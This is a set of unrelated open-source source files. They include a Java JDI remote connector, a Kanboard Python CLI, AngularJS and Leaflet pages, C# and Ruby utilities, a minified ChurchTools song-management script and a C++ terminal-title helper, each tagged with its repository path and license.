mode. * * @author Adrian Herrera * */ public class RemoteVMConnector extends VMConnector { /** * Socket connection details. */ private final InetSocketAddress socketAddress; /** * Constructor. * * @param hostname Name of the host to connect to * @param port Port number the virtual machine is listening on */ public RemoteVMConnector(String hostname, int port) { this(new InetSocketAddress(hostname, port)); } /** * Constructor. * * @param sockAddr Socket address structure to connect to. */ public RemoteVMConnector(InetSocketAddress sockAddr) { socketAddress = Validate.notNull(sockAddr); } @Override public VirtualMachine connect() throws Exception { List<AttachingConnector> connectors = Bootstrap.virtualMachineManager() .attachingConnectors(); AttachingConnector connector = findConnector( "com.sun.jdi.SocketAttach", connectors); Map<String, Connector.Argument> arguments = connectorArguments(connector); VirtualMachine vm = connector.attach(arguments); // TODO - redirect stdout and stderr? return vm; } /** * Set the socket-attaching connector's arguments. * * @param connector A socket-attaching connector * @return The socket-attaching connector's arguments */ private Map<String, Connector.Argument> connectorArguments( AttachingConnector connector) { Map<String, Connector.Argument> arguments = connector .defaultArguments(); arguments.get("hostname").setValue(socketAddress.getHostName()); arguments.get("port").setValue( Integer.toString(socketAddress.getPort())); return arguments; } }
adrianherrera/jdivisitor
src/main/java/org/jdivisitor/debugger/launcher/RemoteVMConnector.java
Java
mit
2,991
# The MIT License (MIT) # # Copyright (c) 2016 Frederic Guillot # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from cliff import app from cliff import commandmanager from pbr import version as app_version import sys from kanboard_cli.commands import application from kanboard_cli.commands import project from kanboard_cli.commands import task from kanboard_cli import client class KanboardShell(app.App): def __init__(self): super(KanboardShell, self).__init__( description='Kanboard Command Line Client', version=app_version.VersionInfo('kanboard_cli').version_string(), command_manager=commandmanager.CommandManager('kanboard.cli'), deferred_help=True) self.client = None self.is_super_user = True def build_option_parser(self, description, version, argparse_kwargs=None): parser = super(KanboardShell, self).build_option_parser( description, version, argparse_kwargs=argparse_kwargs) parser.add_argument( '--url', metavar='<api url>', help='Kanboard API URL', ) parser.add_argument( '--username', metavar='<api username>', help='API username', ) parser.add_argument( '--password', metavar='<api password>', help='API password/token', ) parser.add_argument( '--auth-header', metavar='<authentication header>', help='API authentication header', ) return parser def initialize_app(self, argv): client_manager = client.ClientManager(self.options) self.client = client_manager.get_client() self.is_super_user = client_manager.is_super_user() self.command_manager.add_command('app version', application.ShowVersion) self.command_manager.add_command('app timezone', application.ShowTimezone) self.command_manager.add_command('project show', project.ShowProject) self.command_manager.add_command('project list', project.ListProjects) self.command_manager.add_command('task create', task.CreateTask) self.command_manager.add_command('task list', task.ListTasks) def main(argv=sys.argv[1:]): return KanboardShell().run(argv) if __name__ == '__main__': sys.exit(main(sys.argv[1:]))
kanboard/kanboard-cli
kanboard_cli/shell.py
Python
mit
3,401
<div> <h1 class="page-header">项目详情</h1> <form class="form-horizontal" name="project" role="form"> <div class="form-group"> <label for="projectName" class="col-sm-2 control-label">选择项目</label> <div class="col-sm-5"> <select class="form-control" ng-model="projectName" name="projectName" id="projectName"> <option ng-repeat="project in projects | filter: filterKey">{{project.name}}</option> </select> </div> <div class="col-sm-3"> <input type="text" class="form-control" name="filterKey" ng-model="filterKey" id="filterKey" placeholder="项目过滤关键词"> </div> </div> <div class="form-group"> <label for="id" class="col-sm-2 control-label">项目编号</label> <div class="col-sm-5"> <input type="text" class="form-control" name="id" ng-model="tmpProject.id" id="id"> </div> </div> <div class="form-group"> <label for="description" class="col-sm-2 control-label">项目概要</label> <div class="col-sm-8"> <textarea class="form-control" name="description" rows="5" cols="100" id="description" ng-model="tmpProject.description"></textarea> </div> </div> <div class="form-group"> <label for="parent" class="col-sm-2 control-label">隶属父项目</label> <div class="col-sm-5"> <select class="form-control" ng-disabled="parentReadonly" ng-model="tmpProject.parent" name="parent" id="parent"> <option value="">无</option> <option ng-repeat="project in parentProjects">{{project.name}}</option> </select> </div> <div class="col-sm-3" ng-show="parentReadonly"> <button class="btn btn-default btn-block" ng-click="editParent()">修改父项目</button> </div> <div class="col-sm-3" ng-hide="parentReadonly"> <input type="text" class="form-control" name="filterParentKey" ng-model="filterParentKey" id="filterParentKey" placeholder="项目过滤关键词"> </div> </div> <div class="form-group"> <label for="children" class="col-sm-2 control-label">包含子项目</label> <div class="col-sm-5"> <textarea class="form-control" readonly name="children" rows="5" cols="100" id="children">{{tmpProject.children.join('\n')}}</textarea> </div> <div class="col-sm-3"> <!-- 用于打开模式对话框 --> <button type="button" class="btn btn-default btn-block" data-toggle="modal" data-target="#projectList"> 修改子项目 <span class="caret"></span> </button> </div> </div> <!-- 选择子项目模式对话框 --> <div class="modal fade" id="projectList" tabindex="-1" role="dialog" aria-labelledby="projectListLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <button type="button" ng-click="cancelSelection()" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button> <div class="col-sm-6 col-sm-offset-2 text-center" id="projectListLabel"> <h4><strong>项目列表</strong></h4> </div> <div class="col-sm-3"> <input type="text" class="form-control" ng-model="childrenFilterKey" placeholder="项目过滤关键词"> </div> <div><br></div> </div> <div class="modal-body"> <div class="col-sm-4" ng-repeat="project in projectsRaw | filter: childrenFilterKey"> <label><input type="checkbox" ng-model="childrenProject[project.name]">&nbsp;{{project.name}}</label> </div>&nbsp; </div> <div class="modal-footer"> <div class="col-sm-2 col-sm-offset-8"> <button type="button" class="btn btn-success btn-block" data-dismiss="modal" ng-click="selectChildren()">确&nbsp;定</button> </div> <div class="col-sm-2"> <button type="button" class="btn btn-primary btn-block" data-dismiss="modal" ng-click="cancelSelection()">取&nbsp;消</button> </div> </div> </div> </div> </div> <!-- 子项目模式对话框结束 --> <!-- <div class="form-group"> <label class="col-sm-2 control-label">项目合同</label> <div class="col-sm-9"> <div class="panel panel-default"> <table class="table table-striped table-bordered"> <thead> <tr> <th>序号</th> <th>合同名称</th> <th>原件存放位置</th> <th>编辑</th> </tr> </thead> <tbody> <tr ng-repeat="contract in currentProject().contract"> <td>{{$index}}</td> <td>{{tmpProject.contract.name}}</td> <td>{{tmpProject.contract.store}}</td> <td> <span ng-click="modify($event)" class="glyphicon glyphicon-pencil"></span> <span ng-click="confirm($event)" class="glyphicon glyphicon-ok"></span> <span ng-click="remove($event)" class="glyphicon glyphicon-remove"></span> </td> </tr> <tr> <td>&nbsp;&nbsp;&nbsp;&nbsp;--</td> <td></td> <td></td> <td> <span ng-click="modify($event)" class="glyphicon glyphicon-pencil"></span> <span ng-click="confirm($event)" class="glyphicon glyphicon-ok"></span> <span ng-click="remove($event)" class="glyphicon glyphicon-remove"></span> </td> </tr> </tbody> </table> </div> </div> </div> <div class="form-group"> <label class="col-sm-2 control-label">项目文件</label> <div class="col-sm-9"> <div class="panel panel-default"> <table class="table table-striped table-bordered"> <thead> <tr> <th>序号</th> <th>文件名称</th> <th>原件存放位置</th> <th>编辑</th> </tr> </thead> <tbody> <tr ng-repeat="file in currentProject().file"> <td>{{$index}}</td> <td>{{tmpProject.file.name}}</td> <td>{{tmpProject.file.store}}</td> <td> <span ng-click="modify($event)" class="glyphicon glyphicon-pencil"></span> <span ng-click="confirm($event)" class="glyphicon glyphicon-ok"></span> <span ng-click="remove($event)" class="glyphicon glyphicon-remove"></span> </td> </tr> <tr> <td>&nbsp;&nbsp;&nbsp;&nbsp;--</td> <td></td> <td></td> <td> <span ng-click="modify($event)" class="glyphicon glyphicon-pencil"></span> <span ng-click="confirm($event)" class="glyphicon glyphicon-ok"></span> <span ng-click="remove($event)" class="glyphicon glyphicon-remove"></span> </td> </tr> </tbody> </table> </div> </div> </div> --> </form> <div class="col-sm-12"> <div class="col-sm-3 col-sm-offset-3"> <button type="button" class="btn btn-success btn-block" data-dismiss="modal" ng-click="confirmModify()">确认修改</button> </div> <div class="col-sm-3"> <button type="button" class="btn btn-primary btn-block" data-dismiss="modal" ng-click="cancelModify()">取消修改</button> </div> </div> <div class="col-md-8 col-md-offset-2" ng-show="message"> <div ng-class="msgClass" class="alert text-center" role="alert"> <strong >{{message}}</strong> </div> </div> <div><br></div> </div>
lszhu/dataManager
app/partials/search/queryProjectDetail.html
HTML
mit
7,951
using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace cShART { public class ARTFlystick : ARTObject { private bool visible; private int numberOfButtons; private int numberOfControllers; private int buttonStates; private float[] controllerStates; public static ARTFlystick Empty() { return new ARTFlystick(-1, false, 0, 0, 0, new float[0], ARTPoint.Empty(), ARTMatrix.Empty()); } public ARTFlystick(int id, bool visible, int numberOfButtons, int buttonStates, int numberOfControllers, float[] controllerStates, ARTPoint position, ARTMatrix matrix) : base(id, position, matrix) { this.visible = visible; this.numberOfButtons = numberOfButtons; this.numberOfControllers = numberOfControllers; this.buttonStates = buttonStates; this.controllerStates = controllerStates; } public bool isVisible() { return this.visible; } public int getNumberOfButtons() { return this.numberOfButtons; } public int getNumberOfControllers() { return this.numberOfControllers; } public int getButtonStates() { return this.buttonStates; } /// <summary> /// This Method translates the button states integer into actual english for better handling. /// (aka tells you which button is currently pushed.) Useful for debugging. /// </summary> /// <returns>Returns a string containing names of pushed buttons</returns> public String getPushedButtonsByName() { //Byte binBStates = Convert.ToByte(buttonStates); // BitArray BA = new BitArray(binBStates); //int[] StatesArray = new int[]{buttonStates}; //Array.Reverse(StatesArray); BitArray binBStates = new BitArray(new int[]{buttonStates}); String output = ""; //byte[] binBStates = BitConverter.GetBytes(buttonStates); if (binBStates[3]) { output = output + "LeftButton"; } if (binBStates[2]) { if (!output.Equals("")) { output = output + "/"; } output = output + "MiddleButton"; } if (binBStates[1]) { if (!output.Equals("")) { output = output + "/"; } output = output + "RightButton"; } if (binBStates[0]) { if (!output.Equals("")) { output = output + "/"; } output = output + "Trigger"; } if (output == "") { output = "NothingPressed"; } return output + " Byte: " + binBStates.ToString(); } /// <summary> /// This method is for further button handling of the flystick. You will receive a bit array which represents the currently pushed buttons. /// Array value and corresponding buttons are: /// [0] = Trigger /// [1] = Right button /// [2] = Middle button /// [3] = Left button /// </summary> /// <returns>Returns a bit array represting currently pushed buttons</returns> public BitArray GetStateArrayOfButtons() { return new BitArray(new int[]{buttonStates}); } public float[] GetStickXYPos() { return this.controllerStates; } override protected String nameToString() { return "ARTFlystick"; } protected String controllerStatesToString() { String res = ""; for (int i = 0; i < this.controllerStates.Length; i++) { res = res + this.controllerStates[i]; if (i + 1 < this.controllerStates.Length) { res = res + ", "; } } return res; } override protected String extensionsToString() { return "isVisible: " + isVisible() + Environment.NewLine + "numberOfButtons: " + getNumberOfButtons() + ", buttonStates: " + getButtonStates() + Environment.NewLine + "numberOfControllers: " + getNumberOfControllers() + ", controllerStates: " + controllerStatesToString() + Environment.NewLine; } } }
schMarXman/cShART
ARTFlystick.cs
C#
mit
4,744
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>PruneCluster - Realworld 50k</title> <meta name="viewport" content="user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1, width=device-width, target-densitydpi=device-dpi" /> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/leaflet/1.0.0-beta.2.rc.2/leaflet.css"/> <script src="https://cdnjs.cloudflare.com/ajax/libs/leaflet/1.0.0-beta.2.rc.2/leaflet.js"></script> <script src="../dist/PruneCluster.js"></script> <link rel="stylesheet" href="examples.css"/> </head> <body> <div id="map"></div> <script> var map = L.map("map", { attributionControl: false, zoomControl: false }).setView(new L.LatLng(59.911111, 10.752778), 15); L.tileLayer('http://{s}.tile.osm.org/{z}/{x}/{y}.png', { detectRetina: true, maxNativeZoom: 17 }).addTo(map); var leafletView = new PruneClusterForLeaflet(); var size = 1000; var markers = []; for (var i = 0; i < size; ++i) { var marker = new PruneCluster.Marker(59.91111 + (Math.random() - 0.5) * Math.random() * 0.00001 * size, 10.752778 + (Math.random() - 0.5) * Math.random() * 0.00002 * size); markers.push(marker); leafletView.RegisterMarker(marker); } window.setInterval(function () { for (i = 0; i < size / 2; ++i) { var coef = i < size / 8 ? 10 : 1; var ll = markers[i].position; ll.lat += (Math.random() - 0.5) * 0.00001 * coef; ll.lng += (Math.random() - 0.5) * 0.00002 * coef; } leafletView.ProcessView(); }, 500); map.addLayer(leafletView); </script> </body> </html>
SINTEF-9012/PruneCluster
examples/random.1000.html
HTML
mit
1,726
using System; using System.Text.RegularExpressions; namespace _07_Hideout { class Hideout { static void Main() { string input = Console.ReadLine(); while (true) { string[] parameters = Console.ReadLine().Split(); string key = Regex.Escape(parameters[0]); string pattern = @"(" + key + "{" + parameters[1] + ",})"; Regex r = new Regex(pattern); Match match = r.Match(input); if (match.Success) { Console.WriteLine("Hideout found at index {0} and it is with size {1}!", match.Index, match.Groups[0].Length); break; } } } } }
nellypeneva/SoftUniProjects
01_ProgrFundamentalsMay/32_Strings-and-Regular-Expressions-More-Exercises/07_Hideout/Hideout.cs
C#
mit
795
using System.ComponentModel.DataAnnotations; namespace JezekT.AspNetCore.IdentityServer4.WebApp.Models.AccountSettingsViewModels { public class ConfirmEmailViewModel { [Display(Name = "Email", ResourceType = typeof(Resources.Models.AccountSettingsViewModels.ConfirmEmailViewModel))] public string Email { get; set; } } }
jezekt/AspNetCore
JezekT.AspNetCore.IdentityServer4.WebApp/Models/AccountSettingsViewModels/ConfirmEmailViewModel.cs
C#
mit
354
require "rails_helper" describe "announcements/_public_announcement" do it "renders nothing when announcements are not visible" do allow(view).to receive(:announcement_visible?).and_return(false) render expect(rendered).to eq "" end it "renders the announcement when announcements are visible" do announcement = create :announcement, body: "Test" allow(view).to receive(:announcement_visible?).and_return(true) render expect(rendered).to match /Test/ expect(rendered).to match /#{announcement.to_cookie_key}/ expect(rendered).to match /hideAnnouncement/ end end
thoughtbot/paul_revere
spec/views/announcements/_public_announcement.html.erb_spec.rb
Ruby
mit
610
var a;function SongView(){ListView.call(this);this.name="SongView";this.allDataLoaded=this.songsLoaded=false;this.sortVariable="bezeichnung"}Temp.prototype=ListView.prototype;SongView.prototype=new Temp;songView=new SongView;a=SongView.prototype; a.getData=function(d){if(d){var c=[];allSongs!=null&&$.each(churchcore_sortData(allSongs,"bezeichnung"),function(b,e){$.each(e.arrangement,function(f,g){f=[];f.song_id=e.id;f.arrangement_id=g.id;f.id=e.id+"_"+g.id;c.push(f)})})}else{c={};allSongs!=null&&$.each(allSongs,function(b,e){$.each(e.arrangement,function(f,g){f=[];f.song_id=e.id;f.arrangement_id=g.id;f.id=e.id+"_"+g.id;c[f.id]=f})})}return c}; a.renderFilter=function(){if(masterData.settings.filterSongcategory==""||masterData.settings.filterSongcategory==null)delete masterData.settings.filterSongcategory;else this.filter.filterSongcategory=masterData.settings.filterSongcategory;var d=[],c=new CC_Form;c.setHelp("ChurchService-Filter");c.addHtml('<div id="filterKategorien"></div>');c.addSelect({data:this.sortMasterData(masterData.songcategory),label:"Song-Kategorien",selected:this.filter.filterSongcategory,freeoption:true,cssid:"filterSongcategory", type:"medium",func:function(b){return masterData.auth.viewsongcategory!=null&&masterData.auth.viewsongcategory[b.id]}});c.addCheckbox({cssid:"searchStandard",label:"Nur Standard-Arrangement"});d.push(c.render(true));d.push('<div id="cdb_filtercover"></div>');$("#cdb_filter").html(d.join(""));$.each(this.filter,function(b,e){$("#"+b).val(e)});filter=this.filter;this.implantStandardFilterCallbacks(this,"cdb_filter");this.renderCalendar()}; a.groupingFunction=function(d){if(this.filter.searchStandard==null){var c="";c=c+"<b>"+allSongs[d.song_id].bezeichnung+"</b>";if(allSongs[d.song_id].author!="")c=c+"&nbsp; <small>"+allSongs[d.song_id].author+"</small>";return c=c+'&nbsp; <a href="#" class="edit-song" data-id="'+d.song_id+'">'+form_renderImage({src:"options.png",width:16})+"</a>"}else return null}; a.checkFilter=function(d){if(d==null)return false;var c=allSongs[d.song_id],b=c.arrangement[d.arrangement_id];if(songView.filter!=null){var e=songView.filter;if(e.searchEntry!=null&&c.bezeichnung.toLowerCase().indexOf(e.searchEntry.toLowerCase())==-1&&e.searchEntry!=d.arrangement_id)return false;if(e.filterSongcategory!=null&&c.songcategory_id!=e.filterSongcategory)return false;if(!churchcore_inArray(c.songcategory_id,masterData.auth.viewsongcategory))return false;if(e.searchStandard&&b.default_yn== 0)return false}return true};a.renderTooltip=function(d,c){var b=d.parents("div.entrydetail").attr("data-song-id"),e=d.parent().attr("data-id"),f=d.attr("tooltip");return this.renderTooltipForFiles(d,c,allSongs[b].arrangement[e].files[f],masterData.auth.editsong)};a.tooltipCallback=function(d,c){var b=c.parents("div.entrydetail").attr("data-song-id"),e=c.parent().attr("data-id");return this.tooltipCallbackForFiles(d,c,allSongs[b].arrangement,e)}; a.renderFiles=function(d,c){var b=this;b.clearTooltip(true);masterData.auth.editsong?b.renderFilelist("",d,c,function(e){delete d[c].files[e];b.renderFiles(d,c)}):b.renderFilelist("",d,c);$("div.filelist[data-id="+c+"] span[tooltip],a[tooltip]").hover(function(){drin=true;this_object.prepareTooltip($(this),null,$(this).attr("data-tooltiptype"))},function(){drin=false;window.setTimeout(function(){drin||this_object.clearTooltip()},100)})}; a.renderEntryDetail=function(d){var c=this,b=d.indexOf("_"),e=allSongs[d.substr(0,b)],f=e.arrangement[d.substr(b+1,99)];b=[];b.push('<div class="entrydetail" id="entrydetail_'+d+'" data-song-id="'+e.id+'" data-arrangement-id="'+f.id+'">');b.push('<div class="well">');b.push('<b style="font-size:140%">'+e.bezeichnung+" - "+f.bezeichnung+"</b>");e.autor!=""&&b.push("<br/><small>Autor: "+e.author+"</small>");e.copyright!=""&&b.push("<br/><small>Copyright: "+e.copyright+"</small>");e.ccli!=""&&b.push("<br/><small>CCLI: "+ e.ccli+"</small>");b.push("</div>");b.push('<div class="row-fluid">');b.push('<div class="span6">');b.push("<legend>Informationen &nbsp; ");masterData.auth.editsong&&b.push('<a href="#" class="edit">'+c.renderImage("options",20)+"</a>");b.push("</legend>");b.push("<p>Tonart: "+f.tonality);b.push("&nbsp; BPM: "+f.bpm);b.push("&nbsp; Takt: "+f.beat);b.push("<p>L&auml;nge: "+f.length_min+":"+f.length_sec);b.push("<p>Bemerkung:<br/><p><small> "+f.note.replace(/\n/g,"<br/>")+"</small>");b.push("</div>"); b.push('<div class="span6">');b.push("<legend>Dateien</legend>");b.push('<div class="we_ll">');b.push('<div class="filelist" data-id="'+f.id+'"></div>');masterData.auth.editsong&&b.push('<p><div id="upload_button_'+f.id+'">Nochmal bitte...</div>');b.push("</div>");b.push("</div>");b.push("</div>");if(masterData.auth.editsong){b.push("<hr/><p>");b.push(form_renderButton({label:"Weiteres Arrangement hinzuf&uuml;gen",htmlclass:"add",type:"small"})+"&nbsp; ");if(f.default_yn==0){b.push(form_renderButton({label:"Zum Standard machen", htmlclass:"makestandard",type:"small"})+"&nbsp; ");b.push(form_renderButton({label:"Arrangement entfernen",htmlclass:"delete",type:"small"})+"&nbsp; ")}}b.push("</div>");$("tr[id="+d+"]").after('<tr id="detail'+d+'"><td colspan="7" id="detailTD'+d+'">'+b.join("")+"</td></tr>");c.renderFiles(allSongs[e.id].arrangement,f.id);masterData.auth.editsong&&new qq.FileUploader({element:document.getElementById("upload_button_"+f.id),action:"?q=churchservice/uploadfile",params:{domain_type:"song_arrangement", domain_id:f.id},multiple:true,debug:true,onSubmit:function(){},onComplete:function(g,i,h){if(h.success){if(f.files==null)f.files={};f.files[h.id]={bezeichnung:h.bezeichnung,filename:h.filename,id:h.id,domain_type:"song_arrangement",domain_id:f.id};c.renderFiles(allSongs[e.id].arrangement,f.id)}else alert("Sorry, Fehler beim Hochladen aufgetreten! Datei zu gross oder Dateiname schon vergeben?")}});$("td[id=detailTD"+d+"] a.edit").click(function(){c.editArrangement(e.id,f.id);return false});$("td[id=detailTD"+ d+"] input.add").click(function(){c.addArrangement(e.id);return false});$("td[id=detailTD"+d+"] input.delete").click(function(){c.deleteArrangement(e.id,f.id);return false});$("td[id=detailTD"+d+"] input.makestandard").click(function(){c.makeAsStandardArrangement(e.id,f.id);return false})};a.loadSongData=function(){if(!this.songsLoaded&&this.allDataLoaded){var d=this.showDialog("Lade Songs","Lade Songs...",300,300);cs_loadSongs(function(){this_object.songsLoaded=true;d.dialog("close");this_object.renderList()})}}; a.renderMenu=function(){this_object=this;menu=new CC_Menu("Men&uuml;");masterData.auth.editsong&&menu.addEntry("Neuen Song anlegen","anewentry","star");menu.renderDiv("cdb_menu",churchcore_handyformat())?$("#cdb_menu a").click(function(){if($(this).attr("id")=="anewentry")this_object.renderAddEntry();else $(this).attr("id")=="ahelp"&&churchcore_openNewWindow("http://intern.churchtools.de/?q=help&doc=ChurchService");return false}):$("#cdb_menu").hide()}; a.editSong=function(d){var c=this,b=new CC_Form("Infos des Songs",allSongs[d]);b.addInput({label:"Bezeichnung",cssid:"bezeichnung",required:true,disabled:!masterData.auth.editsong});b.addSelect({label:"Song-Kategorie",cssid:"songcategory_id",data:masterData.songcategory,disabled:!masterData.auth.editsong});b.addInput({label:"Autor",cssid:"author",disabled:!masterData.auth.editsong});b.addInput({label:"Copyright",cssid:"copyright",disabled:!masterData.auth.editsong});b.addInput({label:"CCLI-Nummer", cssid:"ccli",disabled:!masterData.auth.editsong});var e=form_showDialog("Song editieren",b.render(false,"horizontal"),500,500);masterData.auth.editsong&&e.dialog("addbutton","Speichern",function(){obj=b.getAllValsAsObject();if(obj!=null){obj.func="editSong";obj.id=d;churchInterface.jsendWrite(obj,function(){c.songsLoaded=false;c.loadSongData()});$(this).dialog("close")}});e.dialog("addbutton","Abbrechen",function(){$(this).dialog("close")})}; a.renderAddEntry=function(){var d=this,c=new CC_Form("Bitte Infos des neuen Songs angeben");c.addInput({label:"Bezeichnung",cssid:"bezeichnung",required:true});c.addSelect({label:"Song-Kategorie",cssid:"songcategory_id",required:true,data:masterData.songcategory,selected:masterData.settings.filterSongcategory});c.addInput({label:"Autor",cssid:"author"});c.addInput({label:"Copyright",cssid:"copyright"});c.addInput({label:"CCLI-Nummer",cssid:"ccli"});c.addInput({label:"Tonart",type:"small",cssid:"tonality"}); c.addInput({label:"BPM",type:"small",cssid:"bpm"});c.addInput({label:"Takt",type:"small",cssid:"beat"});form_showDialog("Neuen Song anlegen",c.render(false,"horizontal"),500,500,{Erstellen:function(){var b=c.getAllValsAsObject();if(b!=null){b.func="addNewSong";churchInterface.jsendWrite(b,function(){d.songsLoaded=false;d.filter.searchEntry=b.bezeichnung;if(d.filter.filterSongcategory!=b.songcategory_id){delete d.filter.filterSongcategory;delete masterData.settings.filterSongcategory}d.renderFilter(); d.loadSongData()});$(this).dialog("close")}},Abbrechen:function(){$(this).dialog("close")}})};function processFieldInput(d,c){var b=d.parents("td").attr("data-oldval");d.parents("td").removeAttr("data-oldval");if(c){newval=d.val();d.parents("td").html(newval)}else d.parents("td").html(b)}a=SongView.prototype;a.addFurtherListCallbacks=function(){var d=this;$("#cdb_content a.edit-song").click(function(){d.editSong($(this).attr("data-id"));return false})}; a.editArrangement=function(d,c){var b=this,e=new CC_Form("Bitte Arrangement anpassen",allSongs[d].arrangement[c]);e.addInput({label:"Bezeichnung",cssid:"bezeichnung",required:true});e.addInput({label:"Tonart",cssid:"tonality"});e.addInput({label:"BPM",cssid:"bpm"});e.addInput({label:"Takt",cssid:"beat"});e.addInput({label:"L&auml;nge Minuten:Sekunden",type:"mini",cssid:"length_min",controlgroup_start:true});e.addHtml(" : ");e.addInput({controlgroup_end:true,type:"mini",cssid:"length_sec"});e.addTextarea({label:"Bemerkungen", rows:3,cssid:"note"});form_showDialog("Arrangement editieren",e.render(false,"horizontal"),500,500,{Absenden:function(){obj=e.getAllValsAsObject();if(obj!=null){obj.func="editArrangement";obj.id=c;churchInterface.jsendWrite(obj,function(){b.songsLoaded=false;b.loadSongData()});$(this).dialog("close")}},Abbrechen:function(){$(this).dialog("close")}})}; a.deleteArrangement=function(d,c){var b=this,e=allSongs[d].arrangement[c];if(e.files!=null){alert("Bitte zuerst die Dateien entfernen!");return null}if(confirm("Wirklich Arrangement "+e.bezeichnung+" entfernen?")){e={};e.func="delArrangement";e.song_id=d;e.id=c;churchInterface.jsendWrite(e,function(){b.songsLoaded=false;b.loadSongData()})}}; a.makeAsStandardArrangement=function(d,c){var b=this,e={};e.func="makeAsStandardArrangement";e.id=c;e.song_id=d;churchInterface.jsendWrite(e,function(){b.songsLoaded=false;b.loadSongData()})};a.addArrangement=function(d){var c=this,b={};b.func="addArrangement";b.song_id=d;b.bezeichnung="Neues Arrangement";churchInterface.jsendWrite(b,function(e,f){c.songsLoaded=false;c.open=true;c.filter.searchEntry=f;c.renderFilter();c.loadSongData()})};a.getCountCols=function(){return 6}; a.getListHeader=function(){this.loadSongData();var d=[];songView.listViewTableHeight=masterData.settings.listViewTableHeight==0?null:665;this.filter.searchStandard!=null&&d.push("<th>Nr.");d.push("<th>Bezeichnung<th>Tonart<th>BPM<th>Takt<th>Tags");return d.join("")}; a.renderListEntry=function(d){var c=[],b=allSongs[d.song_id],e=b.arrangement[d.arrangement_id];if(this.filter.searchStandard==null){c.push('<td><a href="#" id="detail'+d.id+'">'+e.bezeichnung+"</a>");e.default_yn==1&&c.push(" *")}else{c.push('<td><a href="#" id="detail'+d.id+'">'+b.bezeichnung+"</a>");masterData.auth.editsong!=null&&c.push('&nbsp; <a href="#" class="edit-song" data-id="'+d.song_id+'">'+form_renderImage({src:"options.png",width:16})+"</a>")}c.push("<td>"+e.tonality);c.push("<td>"+ e.bpm);c.push("<td>"+e.beat);c.push("<td>");return c.join("")};a.messageReceiver=function(d,c){if(d=="allDataLoaded"){this.allDataLoaded=true;this==churchInterface.getCurrentView()&&this.loadSongData()}this==churchInterface.getCurrentView()&&d=="allDataLoaded"&&this.renderList();if(d=="filterChanged")if(c[0]=="filterSongcategory"){masterData.settings.filterSongcategory=$("#filterSongcategory").val();churchInterface.jsonWrite({func:"saveSetting",sub:"filterSongcategory",val:masterData.settings.filterSongcategory})}}; a.addSecondMenu=function(){return""};
isbm/churchtools
system/churchservice/cs_songview.js
JavaScript
mit
12,398
"use strict"; var i = 180; //3分固定 function count(){ if(i <= 0){ document.getElementById("output").innerHTML = "完成!"; }else{ document.getElementById("output").innerHTML = i + "s"; } i -= 1; } window.onload = function(){ setInterval("count()", 1000); };
Shin-nosukeSaito/elctron_app
ramen.js
JavaScript
mit
280
class IE @private def ie_config @client = Selenium::WebDriver::Remote::Http::Default.new @client.read_timeout = 120 @caps = Selenium::WebDriver::Remote::Capabilities.ie('ie.ensureCleanSession' => true, :javascript_enabled => true, :http_client => @client, :native_events => false, :acceptSslCerts => true) end @private def set_ie_config(driver) driver.manage.timeouts.implicit_wait = 90 driver.manage.timeouts.page_load = 120 if ENV['RESOLUTION'].nil? driver.manage.window.size = Selenium::WebDriver::Dimension.new(1366,768) elsif ENV['RESOLUTION'].downcase == "max" driver.manage.window.maximize else res = ENV['RESOLUTION'].split('x') driver.manage.window.size = Selenium::WebDriver::Dimension.new(res.first.to_i, res.last.to_i) end end def launch_driver_ie self.ie_config driver = Selenium::WebDriver.for(:ie, :desired_capabilities => @caps, :http_client => @client) self.set_ie_config(driver) return driver end def launch_watir_ie self.ie_config browser = Watir::Browser.new(:ie, :desired_capabilities => @caps, :http_client => @client) self.set_ie_config(browser.driver) return browser end end
krupani/testnow
lib/testnow/ie.rb
Ruby
mit
1,583
#include <fstream> #include <iostream> #include <vector> int main(int argc, char **argv) { std::vector<std::string> args(argv, argv + argc); std::ofstream tty; tty.open("/dev/tty"); if (args.size() <= 1 || (args.size() & 2) == 1) { std::cerr << "usage: maplabel [devlocal remote]... remotedir\n"; return 1; } std::string curdir = args[args.size() - 1]; for (size_t i = 1; i + 1 < args.size(); i += 2) { if (curdir.find(args[i + 1]) == 0) { if ((curdir.size() > args[i + 1].size() && curdir[args[i + 1].size()] == '/') || curdir.size() == args[i + 1].size()) { tty << "\033];" << args[i] + curdir.substr(args[i + 1].size()) << "\007\n"; return 0; } } } tty << "\033];" << curdir << "\007\n"; return 0; }
uluyol/tools
maplabel/main.cc
C++
mit
804
